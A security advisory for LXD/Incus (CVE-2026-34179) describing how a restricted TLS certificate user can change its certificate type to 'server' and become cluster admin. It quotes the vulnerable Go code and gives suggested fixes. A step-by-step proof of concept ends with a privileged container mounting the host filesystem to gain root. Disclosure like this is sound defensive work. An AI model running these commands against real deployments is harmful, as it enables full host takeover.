Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Critical **tomponline** published **GHSA-c3h3-89qf-jqm5** 2 hours ago

Package

LXD

Affected versions	Patched versions
>= 4.12	5.0.7, 5.21.5, 6.8

github.com/lxc/incus/v6/cmd/incusd (Go)

< v6.23.0	>= v6.23.0

Description

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from `client` to `server` via PUT/PATCH to `/1.0/certificates/{fingerprint}`. The non-admin guard and reset block in `doCertificateUpdate` fail to validate or reset the `Type` field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting `ProtocolCluster` with full admin privileges.

Details

`doCertificateUpdate` in `lxd/certificates.go` handles PUT/PATCH requests to `/1.0/certificates/{fingerprint}` for both privileged and unprivileged callers. The access handler is `allowAuthenticated`, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the `EntitlementCanEdit` check at line 975), two defenses are intended to prevent field tampering:

1. The guard block validates that `Restricted`, `Name`, and `Projects` match the original database record. Does not check `Type`.

```
        // Ensure the user in not trying to change fields other than the certifica
        if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(db
            return response.Forbidden(errors.New("Only the certificate can be changed"))
        }
```

2. The reset block rebuilds the `dbCert` struct using original values for `Restricted`, `Name`, and `Certificate`. Uses `reqDBType` (caller-supplied) for `Type` instead of the original `dbInfo` type.

```
        // Reset dbCert in order to prevent possible future security issues.
        dbCert = dbCluster.Certificate{
            Certificate: dbInfo.Certificate,
            Fingerprint: dbInfo.Fingerprint,
            Restricted:  dbInfo.Restricted,
            Name:        dbInfo.Name,
            Type:        reqDBType,
        }
```

This allows the attacker to update the `Type` field of their own certificate from `client` to `server`, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

```
# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user
```

As restricted user:

```
# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')
```

```
# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "proj

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged
```

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (`security.privileged=true`) or pass raw LXC config (`raw.lxc`), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (`/1.0/certificates` API).

Suggested remediation

1. Add `Type` to the guard check at line 992:

```
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||
    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
```

2. Use the original type in the reset block at line 1008:

```
origDBType, err := certificate.FromAPIType(dbInfo.Type)
if err != nil {
    return response.InternalError(err)
}

dbCert = dbCluster.Certificate{
    Certificate: dbInfo.Certificate,
    Fingerprint: dbInfo.Fingerprint,
    Restricted:  dbInfo.Restricted,
    Name:        dbInfo.Name,
```

```
    Type:        origDBType,
}
```

Patches

LXD Series	Interim release
6	https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21	https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1
5.0	https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1
4.0	https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1

Severity

Critical 9.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-34179

Weaknesses

No CWEs

Credits

mpurg Reporter